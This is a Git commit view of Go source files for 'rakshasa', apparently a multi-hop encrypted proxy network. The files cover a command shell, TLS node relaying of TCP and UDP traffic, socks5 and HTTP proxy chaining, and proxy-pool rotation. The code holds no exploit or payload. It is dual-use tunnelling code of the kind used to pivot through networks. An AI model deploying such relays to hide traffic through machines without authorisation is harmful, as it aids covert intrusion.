初次提交

This commit is contained in:
Mob2003
2023-03-22 11:30:21 +08:00
parent 0c34cff145
commit 30bf0dc9d0
95 changed files with 14609 additions and 0 deletions
+111
View File
@@ -0,0 +1,111 @@
package server
import (
"rakshasa/common"
"strings"
"time"
"github.com/luyu6056/ishell"
)
var rootCli = cliInit()
func CliRun() {
rootCli.Run()
}
func init() {
rootCli.SetPrompt("rakshasa>")
}
func cliInit() *ishell.Shell {
shell := ishell.New()
shell.AddCmd(&ishell.Cmd{
Name: "ping",
Help: "ping 节点",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,使用方法 ping 服务器地址")
return
}
var err error
n, err := getNode(c.Args[0])
if err != nil {
c.Println("无法连接节点", c.Args[0])
return
}
be := time.Now()
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
go n.ping(id)
select {
case <-resChan:
n.deleteQuery(id)
c.Println("ping", n.uuid, time.Since(be))
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
c.Println("ping time out")
}
},
})
shell.AddCmd(&ishell.Cmd{
Name: "new",
Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,使用方法 connect ip:端口")
return
}
for _, addr := range strings.Split(c.Args[0], ",") {
_, err := connectNew(addr)
if err != nil {
c.Println("连接", addr, "失败", err)
return
}
}
},
})
shell.AddCmd(&ishell.Cmd{
Name: "print",
Help: "列出所有节点",
Func: func(c *ishell.Context) {
printNodes(c)
},
})
if common.Debug {
shell.AddCmd(&ishell.Cmd{
Name: "printConn",
Help: "列出所有链接",
Func: func(c *ishell.Context) {
printConn()
},
})
shell.AddCmd(&ishell.Cmd{
Name: "printLock",
Help: "列出所有锁",
Func: func(c *ishell.Context) {
printLock()
},
})
shell.AddCmd(&ishell.Cmd{
Name: "delete",
Help: "sync.Map删除一个node ID",
Func: func(c *ishell.Context) {
l := clientLock.Lock()
defer l.Unlock()
if len(c.Args) != 1 {
c.Println("参数不对")
return
}
n, ok := nodeMap[c.Args[0]]
if ok {
n.Delete("")
}
},
})
}
return shell
}
+42
View File
@@ -0,0 +1,42 @@
package server
import (
"gopkg.in/yaml.v3"
"io/ioutil"
"rakshasa/common"
)
var currentConfig common.Config
func SetConfig(config common.Config) {
currentConfig = config
currentConfig.FileSave = false
currentNode.mainIp = currentConfig.ListenIp
currentNode.port = currentConfig.Port
}
func ConfigSave() error {
b, _ := yaml.Marshal(currentConfig)
err := ioutil.WriteFile(currentConfig.FileName, b, 0666)
if err == nil {
currentConfig.FileSave = true
}
return err
}
func ConfigLoad(filename string) error {
b, err := ioutil.ReadFile(filename)
if err == nil {
var config common.Config
err = yaml.Unmarshal(b, &config)
if err == nil {
currentConfig = config
currentConfig.FileSave = true
}
}
return err
}
func GetConfig() common.Config {
return currentConfig
}
+743
View File
@@ -0,0 +1,743 @@
package server
import (
"bytes"
"crypto/tls"
"encoding/json"
"fmt"
"hash/crc32"
"io"
"net"
"net/url"
"os"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
)
var (
bufPool = &sync.Pool{
New: func() interface{} {
return &bytes.Buffer{}
},
}
closeChan = make(chan *bytes.Buffer, 1) //用于接收已关闭消息的黑洞chan
)
// 节点的连接,包含listen来的和主动connect的
type Conn struct {
closeTag int32
node *node
nodeaddr string
//key string
remoteAddr string
inChan chan func()
OutChan chan []byte
close chan string
isClient bool
nodeConn *tls.Conn
regResult chan error
regResultNode chan *node
}
type serverListen struct {
close int32
node *node
listen net.Listener
isSocks5 bool
socks5Replay []byte
replayid uint32
id uint32
connMap sync.Map
}
type serverConnect struct {
close int32
id uint32
windowsSize int64
conn net.Conn
node *node
address string
write chan *bytes.Buffer
wait chan int
closeReason string
}
// 中转与最终出口
func StartServer(port int) error {
config := cert.Tlsconfig.Clone()
fmt.Println("start on port:", port)
l, err := tls.Listen("tcp", ":"+strconv.Itoa(port), config)
if err != nil {
return fmt.Errorf("server start fail %v", err)
}
currentNode.listen = l
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
//封装一个符合common.server接口的server
c := &Conn{
nodeConn: conn.(*tls.Conn),
remoteAddr: conn.RemoteAddr().String(),
}
connMap.Store(c.remoteAddr, conn)
go c.handlerNodeRead()
go c.handle()
}
}()
return nil
}
func init() {
go func() {
for b := range closeChan {
b.Reset()
bufPool.Put(b)
}
}()
}
func (conn *serverConnect) Close(reason string) {
if atomic.CompareAndSwapInt32(&conn.close, 0, 1) {
go func() {
if conn.conn != nil {
conn.conn.Close()
}
//fmt.Println(conn.fd, reason)
conn.node.connMap.Delete(conn.id)
conn.closeReason = reason
conn.node.listenMap.Range(func(key, value interface{}) bool {
value.(*serverListen).connMap.Delete(conn.id)
return true
})
if reason != remoteClose {
conn.node.Write(common.CMD_DELETE_CONNID, conn.id, nil)
}
select {
case conn.wait <- common.CONN_STATUS_CLOSE:
case <-time.After(time.Second * 10):
}
conn.write <- nil
conn.write = closeChan
}()
}
}
func (c *Conn) Close(reason string) {
c.close <- reason
}
func (conn *serverConnect) handTcpReceive() {
go func() {
for b := range conn.write {
if b == nil {
conn.write = closeChan
return
}
if _, err := conn.conn.Write(b.Bytes()); err != nil {
conn.Close(err.Error())
}
b.Reset()
bufPool.Put(b)
}
}()
var err error
var n int
defer func() {
if err != nil {
conn.Close(conn.address + " 读取出错" + err.Error())
} else {
conn.Close(conn.address + " read异常关闭")
}
}()
buf := make([]byte, common.MAX_PLAINTEXT)
for conn.close == 0 {
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
n, err = conn.conn.Read(buf)
if err != nil {
if atomic.LoadInt32(&conn.close) == 0 {
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
return
}
continue
} else {
return
}
}
data := make([]byte, n)
copy(data, buf)
if common.Debug {
fmt.Println("发送", crc32.ChecksumIEEE(data), n)
}
conn.node.Write(common.CMD_CONN_MSG, conn.id, data)
atomic.AddInt64(&conn.windowsSize, -1*int64(n))
for atomic.LoadInt64(&conn.windowsSize) <= 0 && conn.close == 0 {
select {
case flag := <-conn.wait:
if flag == common.CONN_STATUS_CLOSE {
return
}
case <-time.After(time.Second):
}
}
}
}
func (conn *serverConnect) Write(data []byte) {
data = data[1:]
windows_update_size := int64(data[0]) | int64(data[1])<<8 | int64(data[2])<<16 | int64(data[3])<<24 | int64(data[4])<<32 | int64(data[5])<<40 | int64(data[6])<<48 | int64(data[7])<<56
if windows_update_size != 0 {
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
if old < 0 {
go func() {
select {
case conn.wait <- common.CONN_STATUS_OK:
case <-time.After(time.Second):
}
}()
}
}
if common.Debug {
fmt.Println("收到", crc32.ChecksumIEEE(data[8:]), len(data[8:]))
}
b := bufPool.Get().(*bytes.Buffer)
b.Reset()
b.Write(data[8:])
conn.write <- b
}
func (conn *serverConnect) handUdpReceive() {
var err error
var n int
defer func() {
if err != nil {
conn.Close(conn.address + " 网站读取出错" + err.Error())
} else {
conn.Close(conn.address + " read异常关闭")
}
}()
buf := make([]byte, common.MAX_PLAINTEXT)
for conn.close == 0 {
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
n, err = conn.conn.Read(buf)
if err != nil {
if atomic.LoadInt32(&conn.close) == 0 {
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
return
}
continue
} else {
return
}
}
b := make([]byte, n)
copy(b, buf)
conn.node.Write(common.CMD_CONN_UDP_MSG, conn.id, b)
}
}
func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) {
netconn, err := net.DialTimeout("tcp", addr, time.Second*30)
if err != nil {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 0
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
conn.Close("fd拨号失败")
return
} else {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 1
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
}
}
func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, addr string) {
writeResult := func(res bool) {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 0
if res {
buf[1] = 1
}
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
}
if i := strings.IndexByte(addr, 32); i > -1 {
cfg, err := common.ParseAddr(addr[i+1:])
if err != nil {
writeResult(false)
conn.Close("地址解析失败")
return
}
netconn, err := net.DialTimeout("tcp", cfg.Addr(), time.Second*2)
if err != nil {
writeResult(false)
conn.Close("fd拨号失败")
return
} else {
netconn.SetDeadline(time.Now().Add(time.Second * 30))
netconn.SetWriteDeadline(time.Now().Add(time.Second * 30))
switch cfg.Scheam() {
case "", "http://":
//请求代理
data := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\nProxy-Connection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\r\n", addr[:i], addr[:i])
if cfg.GetHttpAuthorizationHeader() != "" {
data += cfg.GetHttpAuthorizationHeader() + "\r\n\r\n"
} else {
data += "\r\n"
}
_, err = netconn.Write([]byte(data))
if err != nil {
writeResult(false)
conn.Close("http代理发送消息失败")
return
}
var resdata []byte
var result [8192]byte
var req = &http1request{}
for {
n, err := netconn.Read(result[:])
if err != nil {
writeResult(false)
conn.Close("读取http代理结果失败")
return
}
resdata = append(resdata, result[:n]...)
l, _, err := parsereq(req, resdata)
if err != nil {
return
} else if l > 0 {
break
}
}
if req.Status == "200 Connection established" {
writeResult(true)
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
} else {
writeResult(false)
conn.Close("http代理连接失败")
}
writeResult(true)
case "socks5://":
_, err = netconn.Write([]byte{5, 1, 2})
if err != nil {
writeResult(false)
conn.Close("socks5代理发送消息失败")
return
}
var result [8192]byte
n, err := netconn.Read(result[:])
if err != nil {
writeResult(false)
conn.Close("读取socks5数据出错")
return
}
if string(result[:n]) == string([]byte{5, 2}) { //需要认证
user, password := cfg.User(), cfg.Password()
if user == "" && password == "" {
writeResult(false)
conn.Close("socks5需要验证")
return
}
data := make([]byte, (3 + len(user) + len(password)))
data[0] = 5
data[1] = byte(len(user))
copy(data[2:], user)
data[2+len(user)] = byte(len(password))
copy(data[3+len(user):], password)
netconn.Write(data)
n, err = netconn.Read(result[:])
if err != nil || string(result[:n]) != string([]byte{5, 0}) {
writeResult(false)
conn.Close("密码校验不通过")
return
}
}
data := []byte{5, 1, 0, 1}
if u, err := url.ParseRequestURI(addr[:i]); err == nil {
data[3] = 3
data = append(data, byte(len(u.Scheme)))
data = append(data, u.Scheme...)
p, _ := strconv.Atoi(u.Opaque)
port := []byte{byte(p >> 8), byte(p)}
data = append(data, port...)
} else if tcp4, err := net.ResolveTCPAddr("tcp4", addr[:i]); err == nil {
data[3] = 1
data = append(data, tcp4.IP.String()...)
port := []byte{byte(tcp4.Port), byte(tcp4.Port >> 8)}
data = append(data, port...)
} else if tcp6, err := net.ResolveTCPAddr("tcp6", addr[:i]); err == nil {
data[3] = 4
data = append(data, tcp6.IP.String()...)
port := []byte{byte(tcp6.Port), byte(tcp6.Port >> 8)}
data = append(data, port...)
}
netconn.Write(data)
n, _ = netconn.Read(result[:])
if n >= 2 && string(result[:2]) == string([]byte{5, 0}) {
writeResult(true)
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
} else {
writeResult(false)
conn.Close("socks5连接失败")
}
default:
writeResult(false)
conn.Close("不支持的代理协议")
}
}
} else {
writeResult(false)
conn.Close("无法获取代理地址")
}
}
func (conn *serverConnect) doHandleUdp() {
for b := range conn.write {
if b == nil {
conn.write = closeChan
return
}
conn.conn.Write(b.Bytes())
b.Reset()
bufPool.Put(b)
}
}
var broadcastMap sync.Map //广播帧防止重复处理
func (c *Conn) handlerNodeRead() {
var err error
defer func() {
c.nodeConn.Close()
c.Close("read错误" + err.Error())
}()
lengbuf := make([]byte, 2)
for {
_, err = io.ReadFull(c.nodeConn, lengbuf)
if err != nil {
if strings.Contains(err.Error(), "i/o timeout") {
continue
}
return
}
buf := make([]byte, int(lengbuf[0])+int(lengbuf[1])<<8)
_, err = io.ReadFull(c.nodeConn, buf)
b := aes.AesCtrDecrypt(buf)
msg := common.UnmarshalMsg(b)
if common.Debug {
fmt.Println("fromto", msg.From, msg.To, common.CmdToName[msg.CmdOpteion])
}
if msg.To == common.NoneUUID.String() && c.node == nil {
c.inChan <- func() {
newNode := &node{
conn: c,
}
newNode.do(msg)
}
} else if msg.To == currentNode.uuid {
func() {
l := clientLock.RLock()
v, ok := nodeMap[msg.From]
l.RUnlock()
if ok && v.port > 0 {
c.inChan <- func() {
v.do(msg)
}
} else {
l := clientLock.Lock()
v, ok := nodeMap[msg.From]
if !ok {
newNode := &node{
uuid: msg.From,
conn: c,
waitMsg: []*common.Msg{msg},
}
result := make(chan interface{}, 1)
id := newNode.storeQuery(result)
nodeMap[msg.From] = newNode
l.Unlock()
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
go func() {
defer newNode.deleteQuery(id)
select {
case res := <-result:
if res == nil {
for _, m := range newNode.waitMsg {
c.inChan <- func() {
newNode.do(m)
}
}
}
case <-time.After(common.CMD_TIMEOUT):
newNode.Delete("超时")
}
}()
} else {
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
var res chan interface{}
if _v, ok := v.loadQuery(msg.CmdId); !ok {
return
} else {
res = _v
}
var nmsg nodeMsg
err = json.Unmarshal(msg.CmdData, &nmsg)
if err != nil {
res <- err
return
}
v.hostName = nmsg.HostName
v.uuid = nmsg.UUID
v.port = nmsg.Port
v.mainIp = nmsg.MainIp
v.goos = nmsg.Goos
if nmsg.Addr != "" {
v.addr = nmsg.Addr
}
res <- nil
} else {
v.waitMsg = append(v.waitMsg, msg)
}
l.Unlock()
}
}
}()
} else {
key := msg.From + "_" + strconv.Itoa(int(msg.MsgId))
msg.Ttl++
if _, ok := broadcastMap.LoadOrStore(key, struct{}{}); !ok {
if msg.From != currentNode.uuid && msg.To == common.BroadcastUUID.String() && msg.Ttl < 250 { //广播
go allNodesDo(func(_n *node) (bool, error) {
if _n.uuid != currentNode.uuid {
_n.WriteMsg(msg)
}
return true, nil
})
newNode := &node{
conn: c,
}
c.inChan <- func() {
newNode.do(msg)
}
} else {
c.WriteToUUID(msg)
}
time.AfterFunc(time.Hour, func() {
broadcastMap.Delete(key)
})
}
}
}
}
func (c *Conn) handle() {
c.OutChan = make(chan []byte, 64)
c.inChan = make(chan func())
c.close = make(chan string, 999)
go func() {
for {
select {
case f := <-c.inChan:
f()
//c.do(b)
case b := <-c.OutChan:
if c.closeTag == 0 {
c.tlsWrite(b)
//var err error
for i := 0; i < len(c.OutChan); i++ {
c.tlsWrite(<-c.OutChan)
}
}
case reason := <-c.close:
c.OutChan = upNodeWrite
if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 {
c.node.ping(0)
c.node.nextPingTime = time.Now().Unix() + 5
}
func() { //返回false则退出handle
connMap.Delete(c.remoteAddr)
l := clientLock.Lock()
defer func() {
l.Unlock()
}()
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
if common.Debug {
fmt.Println(c.nodeConn.RemoteAddr().String(), "关闭原因", reason)
}
if c.nodeConn != nil {
c.nodeConn.Close()
}
if c.node != nil {
//移除上游连接
for i := len(upLevelNode) - 1; i >= 0; i-- {
n := upLevelNode[i]
if n.uuid == c.node.uuid {
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
}
}
}
}
return
}()
return
}
}
}()
}
func (c *Conn) reg() error {
if c.nodeConn != nil {
c.nodeConn.Close()
}
var err error
c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone())
if err != nil {
return err
}
reg := common.RegMsg{
RegAddr: c.nodeaddr,
Addr: currentNode.addr,
UUID: currentNode.uuid,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
}
reg.Hostname, _ = os.Hostname()
regb, _ := json.Marshal(reg)
msg := common.Msg{
From: currentNode.uuid,
To: common.NoneUUID.String(),
CmdOpteion: common.CMD_REG,
CmdData: regb,
}
if err = c.tlsWrite(msg.Marshal()); err != nil {
return err
}
go c.handlerNodeRead()
return nil
}
func (c *Conn) WriteToUUID(msg *common.Msg) {
l := clientLock.RLock()
defer l.RUnlock()
if n, ok := nodeMap[msg.To]; ok {
n.WriteMsg(msg)
}
}
func (c *Conn) Write(b []byte) {
c.OutChan <- b
}
func (c *Conn) tlsWrite(b []byte) error {
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
n, err := c.nodeConn.Write(b)
if common.Debug {
fmt.Println("tlsWrite发送", n)
}
if err != nil {
c.Close("Write " + err.Error())
upNodeWrite <- b
}
return err
}
+605
View File
@@ -0,0 +1,605 @@
package server
import (
"bytes"
"fmt"
"hash/crc32"
"log"
"net"
"net/url"
"os"
"rakshasa/common"
"rakshasa/httppool"
"runtime/debug"
"strconv"
"strings"
"sync"
"sync/atomic"
"github.com/luyu6056/ishell"
)
const CheckProxyUrl = "https://myip.fireflysoft.net/"
type httpProxyClient struct {
windowsSize int64
isclose int32
conn net.Conn
udpconn net.Conn
remote int32
server *node
id uint32
wait chan int
close string
udpMap sync.Map
listenId uint32
localAddr string
isConnect bool
method string
cfg *common.Addr
pool *httppool.HttpPool
remoteAddr string
remotePort string
}
func (s *httpProxyClient) Write(b []byte) {
switch b[0] {
case common.CMD_CONNECT_BYIDADDR_RESULT:
switch common.NetWork(b[1]) {
case common.RAW_TCP:
if b[2] != 1 {
go func() { s.Close("") }()
} else if s.method == "CONNECT" {
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
}
case common.RAW_TCP_WITH_PROXY:
if b[2] != 1 {
//重新拉取一个池
s.connect()
} else if s.method == "CONNECT" {
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
}
default:
log.Println("未处理")
}
case common.CMD_CONN_MSG:
if common.Debug {
fmt.Println("收到", crc32.ChecksumIEEE(b[1:]), len(b[1:]))
}
s.conn.Write(b[1:])
s.Addwindow(int64(-len(b[1:])))
default:
log.Println("未处理")
}
}
func (s *httpProxyClient) Close(msg string) {
if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) {
<-s.wait
s.wait <- common.CONN_STATUS_CLOSE
s.server.connMap.Delete(s.id)
if msg == "" {
msg = "未知关闭"
}
s.close = msg
if msg == remoteClose {
s.remote = CONN_REMOTE_CLOSE
} else if s.remote == CONN_REMOTE_OPEN {
s.remote = CONN_REMOTE_CLOSE
s.Remoteclose()
}
if common.Debug {
fmt.Println("close 原因", msg)
}
s.conn.Close()
if s.udpconn != nil {
s.udpconn.Close()
}
s.udpMap.Range(func(k, _ interface{}) bool {
s.udpMap.Delete(k)
return true
})
}
}
func (s *httpProxyClient) Addwindow(window int64) {
windows_size := atomic.AddInt64(&s.windowsSize, window)
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
if windows_size < windows_update_size/2 { //扩大窗口
if size := windows_update_size - s.windowsSize; size > 0 {
atomic.AddInt64(&s.windowsSize, size)
go func() {
buf := make([]byte, 8)
buf[0] = byte(size & 255)
buf[1] = byte(size >> 8 & 255)
buf[2] = byte(size >> 16 & 255)
buf[3] = byte(size >> 24 & 255)
buf[4] = byte(size >> 32 & 255)
buf[5] = byte(size >> 40 & 255)
buf[6] = byte(size >> 48 & 255)
buf[7] = byte(size >> 56 & 255)
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
}()
}
}
}
func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
var pool *httppool.HttpPool
var err error
if poolfile != "" {
pool, err = httppool.HttpPoolInit(poolfile)
if err != nil {
return err
}
}
var target *node
if len(dst) == 0 {
target = currentNode
} else {
target, err = GetNodeFromAddrs(dst)
if err != nil {
return err
}
}
l := &clientListen{
server: target,
localAddr: cfg.Addr(),
id: common.GetID(),
typ: "http",
}
l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool)
if err != nil {
return err
}
currentNode.listenMap.Store(l.id, l)
return nil
}
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) {
l, err := net.Listen("tcp", cfg.Addr())
if err != nil {
return nil, err
}
fmt.Println("httpproxy start ", cfg.Addr())
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
s := &httpProxyClient{
cfg: cfg,
conn: conn,
server: n,
listenId: id,
pool: pool,
}
go handleHttpProxyLocal(s)
}
}()
return l, nil
}
func (s *httpProxyClient) OnOpened() (close bool) {
s.wait = make(chan int, 1)
s.remote = CONN_REMOTE_OPEN
s.windowsSize = 0
s.wait <- common.CONN_STATUS_OK
return
}
// 监听本地服务
func handleHttpProxyLocal(s *httpProxyClient) {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
debug.PrintStack()
}
}()
b := make([]byte, common.MAX_PLAINTEXT-8)
if s.OnOpened() {
s.Close("无法获得服务器连接")
}
var data []byte
var req = &http1request{}
for {
n, err := s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data = append(data, b[:n]...)
//尝试读取一个http消息
l, _, err := parsereq(req, data)
if err != nil {
return
} else if l == 0 {
continue
}
//判断用户名密码
if s.cfg.GetHttpAuthorizationHeader() != "" {
var authorize bool
for _, herder := range req.header {
if herder == s.cfg.GetHttpAuthorizationHeader() {
authorize = true
break
}
}
if !authorize {
s.conn.Write([]byte("HTTP/1.0 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to internal site\"\r\nContent-Length: 0\r\n\r\n"))
continue
}
}
data = data[l:]
switch req.method {
case "GET":
if u, err := url.Parse(req.uri); err == nil {
if i := strings.IndexByte(u.Host, ':'); i > -1 {
s.remoteAddr = u.Host[:i]
s.remotePort = u.Host[i+1:]
} else {
s.remoteAddr = u.Host
s.remotePort = "80"
}
s.connect()
buf := bufPool.Get().(*bytes.Buffer)
buf.Reset()
buf.WriteString("GET ")
buf.WriteString(req.uri)
buf.WriteString(" HTTP/1.1\r\n")
for _, header := range req.header {
buf.WriteString(header)
buf.WriteString("\r\n")
}
buf.WriteString("\r\n")
s.write2connect(buf.Bytes())
buf.Reset()
bufPool.Put(buf)
return
} else {
return
}
case "CONNECT":
s.method = "CONNECT"
if i := strings.IndexByte(req.uri, ':'); i > -1 {
s.remoteAddr = req.uri[:i]
s.remotePort = req.uri[i+1:]
s.connect()
} else {
return
}
for {
n, err = s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
s.write2connect(b[:n])
}
default:
if common.Debug {
fmt.Println("http_proxy 未处理method ", req.method)
}
}
}
}
func (s *httpProxyClient) write2connect(data []byte) {
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
outdata := make([]byte, 8)
outdata[0] = byte(new_size)
outdata[1] = byte(new_size >> 8)
outdata[2] = byte(new_size >> 16)
outdata[3] = byte(new_size >> 24)
outdata[4] = byte(new_size >> 32)
outdata[5] = byte(new_size >> 40)
outdata[6] = byte(new_size >> 48)
outdata[7] = byte(new_size >> 56)
if common.Debug {
fmt.Println("发送", crc32.ChecksumIEEE(data), len(data))
}
s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...))
}
func (s *httpProxyClient) connect() {
if !s.isConnect {
buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort))
s.id = s.server.storeConn(s)
buf[0] = byte(common.RAW_TCP)
copy(buf[1:], s.remoteAddr)
buf[1+len(s.remoteAddr)] = ':'
copy(buf[2+len(s.remoteAddr):], s.remotePort)
//添加代理信息
if s.pool != nil {
proxy := s.pool.Next()
buf[0] = byte(common.RAW_TCP_WITH_PROXY)
buf = append(buf, []byte(" "+proxy.String())...)
}
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
if value, ok := s.server.listenMap.Load(s.listenId); ok {
switch v := value.(type) {
case *serverListen:
v.connMap.Store(s.id, s)
case *clientListen:
v.connMap.Store(s.id, s)
}
}
s.isConnect = true
}
}
func (s *httpProxyClient) Remoteclose() {
s.close = "本地要求远程关闭"
buf := make([]byte, 4)
buf[0] = byte(s.id)
buf[1] = byte(s.id >> 8)
buf[2] = byte(s.id >> 16)
buf[3] = byte(s.id >> 24)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
}
func init() {
httpShell := cliInit()
httpShell.SetPrompt("rakshasa\\httpproxy>")
httpShell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前监听的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok {
list = append(list, v)
}
return true
})
orderClientListen(list)
fmt.Println("当前连接数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地端口", v.localAddr, "转发服务器uuid", v.server.uuid)
}
},
})
httpShell.AddCmd(&ishell.Cmd{
Name: "new-httpproxy",
Help: "新建一个httpProxy连接,使用方法 new-httpproxy 配置字串符 目标服务器 代理池文件 如 new-httpproxy admin:[email protected]:8080 127.0.0.1:8881,127.0.0.1:8882 out.txt",
Func: func(c *ishell.Context) {
if len(c.Args) < 1 {
c.Println("参数错误,例子 new-httpproxy admin:[email protected]:8080 127.0.0.1:1081,127.0.0.1:1082 out.txt")
return
}
cfg, err := common.ParseAddr(c.Args[0])
if err != nil {
c.Println(err)
return
}
nodes := []string{}
var filename string
if len(c.Args) == 2 {
if _, err := os.ReadFile(c.Args[1]); err == nil {
filename = c.Args[1]
} else {
nodes = strings.Split(c.Args[1], ",")
}
} else if len(c.Args) == 3 {
nodes = strings.Split(c.Args[1], ",")
filename = c.Args[2]
}
if err := StartHttpProxy(cfg, nodes, filename); err != nil {
c.Println("本地httpProxy启动失败", err)
} else {
c.Println("本地httpProxy启动成功")
}
},
})
httpShell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个socsk5连接,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "http" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "httpproxy",
Help: "进入httpProxy功能",
Func: func(c *ishell.Context) {
httpShell.Run()
},
})
}
type kv struct { //kv键值对
key string
value string
}
type http1request struct {
Status string
//解析相关
Proto, method string
path, query, uri string
keep_alive bool
header []string //记录整行
body []byte
//rawdata []byte
//输出buffer相关
//data io.ReadCloser //消息主体
//dataSize int //dataSize大于-1就输出,所以要放到最后赋值
//out *tls.MsgBuffer //输出消息用buffer,包含header等信息
//out1 *tls.MsgBuffer
//流水线控制
//next *http1request
//num int32
//alreadyOutHreader bool
}
func (req *http1request) addheader(line string, j int) {
if line[:j] == "Proxy-Connection" {
req.header = append(req.header, "Connection: "+line[j+2:])
req.keep_alive = line[j+2:] == "line[j+2:]"
} else {
req.header = append(req.header, line)
}
}
func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err error) {
l := len(data)
defer func() {
if e := recover(); e != nil {
err = fmt.Errorf("%+v", e)
debug.PrintStack()
}
}()
// method, path, proto line
req.Proto = ""
var s = 0
var line string
var firstLine = true
req.body = req.body[:0]
req.header = req.header[:0]
for i, j := 0, 0; j < l; j += i + 2 {
i = bytes.IndexByte(data[j:], 13)
if i == -1 {
break //跳出循环,判断是否包体过大
}
line = string(data[j : j+i])
if i > 0 {
if firstLine {
var q = -1
i := strings.IndexByte(line, 32)
if i > -1 {
req.method = line[:i]
line = line[i+1:]
for i, v := range line {
if v == 63 && q == -1 {
q = i
} else if v == 32 {
if q != -1 {
req.path = line[s:q]
req.query = line[q+1 : i]
} else {
req.path = line[s:i]
}
req.uri = line[s:i]
i++
req.Proto = line[i:]
//判断http返回
if req.method == "HTTP/1.1" || req.method == "HTTP/1.0" {
/*code, err := strconv.Atoi(req.path)
if err == nil {
//req.Code = code
//req.CodeMsg = req.Proto
}*/
req.Status = line
req.Proto = req.method
req.method = ""
req.path = ""
}
break
}
}
}
switch req.Proto {
case "HTTP/1.0":
req.keep_alive = false
case "HTTP/1.1":
req.keep_alive = true
default:
return 0, nil, fmt.Errorf("malformed http1request")
}
firstLine = false
} else {
k := strings.IndexByte(line, 58)
if k > -1 && k < len(line) {
req.addheader(line, k)
}
}
} else {
j += i + 2
if l-j < clen {
return 0, nil, nil
}
req.body = append(req.body, data[j:j+clen]...)
//req.body = append(req.body, data[s:s+clen]...)
//req.rawdata = append(req.rawdata, data[:j+clen]...)
return j + clen, req.body, nil
}
}
return 0, nil, nil
}
+95
View File
@@ -0,0 +1,95 @@
package server
//封装一下易于调试的lock
import (
"fmt"
"rakshasa/common"
"runtime"
"strconv"
"sync"
